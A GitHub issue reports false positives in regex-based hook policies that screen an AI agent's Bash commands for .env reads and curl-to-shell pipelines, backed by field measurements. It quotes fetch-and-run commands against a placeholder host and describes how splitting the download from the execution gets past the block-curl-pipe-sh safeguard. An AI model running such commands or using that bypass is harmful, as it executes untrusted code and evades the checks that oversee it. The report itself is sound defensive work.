You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
Repository navigation
bug: block-env-files and protect-env-vars false-positive on quoted string content #49
Hello, some field data, in case it helps prioritise. Measured on 3164 distinct Bash commands from 231 real agent sessions on one macOS workstation, replayed through the real binary:
ENV_CMD_RE fires 16 times: 1 genuine (cat "$APP_DIR/.env") and 15 false — process.env inside node -e, --include="*.env*" in a grep, a .env mention inside a heredoc body, and commit messages.
The related protect-env-vars fires on ~10% of all commands (286 of them the plain echo "=== $f ===" idiom), which is why we run with it disabled.
Two things that may matter for the fix:
Neither block-env-files nor protect-env-vars declares any params, so there is no way to narrow them from configuration in the meantime. block-read-outside-cwd and block-rm-rf both have an allowPaths param, so the mechanism is right there.
stripShellQuoting() already exists in the same file (:347) and is used by namesSelfPause (:951) — but only to catch more, never to avoid matching text a command merely carries. Reusing it on the Bash branch of blockEnvFiles looks like a small change.
We keep block-env-files enabled despite the noise, because it did catch one real read.
One more data point on the same root cause, in case it widens the fix:block-curl-pipe-sh has it too.
CURL_PIPE_SH_RE is .test()-ed against the raw command string in blockCurlPipeSh (src/hooks/builtin-policies.ts:960 on 1.0.0-beta.12), so it also denies a command for text it merely carries:
echo "never run curl https://x | bash" is denied with Piping downloads to shell is blocked. It is a sentence.
git commit -F - <<'EOF' whose body quotes curl … | bash gets the same denial. The pipeline is inside a heredoc body; nothing is downloaded.
On the same 3164-command corpus, CURL_PIPE_SH_RE fires twice: both false positives, zero true positives. It declares no params either, so there is nothing to narrow from configuration in the meantime. We run with it disabled, and would happily re-enable it against a shell-aware matcher.
Whatever shape the fix here takes, quote stripping or real tokenisation, applying it to this third policy looks like the same change.
Separate from this issue, but worth knowing before anyone tunes that regex: splitting the download from the execution walks straight past the policy, so curl -sL https://x/i.sh -o /tmp/i.sh && sh /tmp/i.sh is allowed. Precision and recall therefore point at the same place, which is that the regex decides on text rather than on what the command does. Happy to open that one as its own issue if you would rather track it separately.
Activity
vjeantet commentedon Aug 8, 2026
Hello, some field data, in case it helps prioritise. Measured on 3164 distinct Bash commands from 231 real agent sessions on one macOS workstation, replayed through the real binary:
ENV_CMD_REfires 16 times: 1 genuine (cat "$APP_DIR/.env") and 15 false —process.envinsidenode -e,--include="*.env*"in a grep, a.envmention inside a heredoc body, and commit messages.protect-env-varsfires on ~10% of all commands (286 of them the plainecho "=== $f ==="idiom), which is why we run with it disabled.Two things that may matter for the fix:
block-env-filesnorprotect-env-varsdeclares anyparams, so there is no way to narrow them from configuration in the meantime.block-read-outside-cwdandblock-rm-rfboth have anallowPathsparam, so the mechanism is right there.stripShellQuoting()already exists in the same file (:347) and is used bynamesSelfPause(:951) — but only to catch more, never to avoid matching text a command merely carries. Reusing it on the Bash branch ofblockEnvFileslooks like a small change.We keep
block-env-filesenabled despite the noise, because it did catch one real read.One more data point on the same root cause, in case it widens the fix:
block-curl-pipe-shhas it too.CURL_PIPE_SH_REis.test()-ed against the raw command string inblockCurlPipeSh(src/hooks/builtin-policies.ts:960on1.0.0-beta.12), so it also denies a command for text it merely carries:echo "never run curl https://x | bash"is denied with Piping downloads to shell is blocked. It is a sentence.git commit -F - <<'EOF'whose body quotescurl … | bashgets the same denial. The pipeline is inside a heredoc body; nothing is downloaded.On the same 3164-command corpus,
CURL_PIPE_SH_REfires twice: both false positives, zero true positives. It declares noparamseither, so there is nothing to narrow from configuration in the meantime. We run with it disabled, and would happily re-enable it against a shell-aware matcher.Whatever shape the fix here takes, quote stripping or real tokenisation, applying it to this third policy looks like the same change.
Separate from this issue, but worth knowing before anyone tunes that regex: splitting the download from the execution walks straight past the policy, so
curl -sL https://x/i.sh -o /tmp/i.sh && sh /tmp/i.shis allowed. Precision and recall therefore point at the same place, which is that the regex decides on text rather than on what the command does. Happy to open that one as its own issue if you would rather track it separately.